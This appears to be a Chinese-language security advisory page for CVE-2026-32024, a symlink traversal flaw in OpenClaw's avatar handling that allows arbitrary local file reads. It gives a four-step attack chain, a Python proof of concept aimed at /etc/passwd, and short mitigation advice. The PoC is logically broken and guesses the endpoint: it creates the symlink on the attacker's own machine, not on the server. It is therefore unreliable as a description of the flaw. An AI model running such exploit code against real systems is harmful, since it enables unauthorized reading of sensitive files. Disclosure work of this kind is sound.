IPBUF安全漏洞报告
English
CVE-2026-32024 CVSS 5.5 中危

CVE-2026-32024: OpenClaw符号链接遍历漏洞

披露日期: 2026-03-19

漏洞信息

漏洞编号
CVE-2026-32024
漏洞类型
符号链接遍历
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

符号链接遍历路径遍历任意文件读取OpenClaw信息泄露

漏洞概述

OpenClaw 2026.2.22之前的版本在头像处理中存在符号链接遍历漏洞。攻击者可通过网关接口请求头像资源,利用该漏洞读取本地任意文件,导致敏感信息泄露。

技术细节

该漏洞由于OpenClaw在处理用户头像资源时,未能正确验证文件路径边界或限制符号链接解析导致。攻击者利用低权限身份,可创建指向系统敏感文件(如/etc/passwd)的恶意符号链接作为头像。当系统通过网关表面请求该头像资源时,程序会跟随符号链接读取目标文件内容。这绕过了工作区限制,使得攻击者能够读取OpenClaw进程权限范围内的任意本地文件,造成信息泄露。

攻击链分析

STEP 1
信息收集
攻击者确认目标运行的是OpenClaw 2026.2.22之前的版本,并识别出头像处理接口。
STEP 2
准备利用环境
攻击者创建一个指向系统敏感文件(如/etc/passwd或数据库配置文件)的符号链接文件。
STEP 3
触发漏洞
攻击者通过网关接口请求该符号链接作为头像资源,或者将该符号链接上传并设置为头像。
STEP 4
数据泄露
OpenClaw进程在处理请求时解析符号链接,读取目标文件内容并将其返回给攻击者。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import os import requests # PoC for CVE-2026-32024 # Description: Exploit symlink traversal in avatar handling def exploit_poc(target_url, file_to_read): # Step 1: Create a symlink pointing to the sensitive file # In a real scenario, this might involve uploading a file that is a symlink # or setting the avatar path if the application allows path specification. symlink_name = "avatar_exploit.png" try: os.symlink(file_to_read, symlink_name) print(f"[+] Created symlink '{symlink_name}' -> '{file_to_read}'") except OSError as e: print(f"[-] Failed to create symlink: {e}") return # Step 2: Request the avatar resource via the gateway # Assuming the endpoint structure based on the vulnerability description # The attacker tricks the server into reading the symlink exploit_url = f"{target_url}/api/avatar/{symlink_name}" print(f"[*] Sending request to: {exploit_url}") response = requests.get(exploit_url) # Step 3: Check if file content is returned if response.status_code == 200: print("[+] Exploit successful! File content leaked:") print(response.text) else: print(f"[-] Exploit failed. Status code: {response.status_code}") # Cleanup if os.path.exists(symlink_name): os.remove(symlink_name) if __name__ == "__main__": # Replace with actual target URL target = "http://localhost:8080" target_file = "/etc/passwd" exploit_poc(target, target_file)

影响范围

OpenClaw < 2026.2.22

防御指南

临时缓解措施
在未升级补丁前,建议通过操作系统权限控制,限制OpenClaw服务进程仅对特定目录拥有读权限,禁止访问系统敏感目录。同时可在WAF或网关层增加规则,拦截对头像资源的异常请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表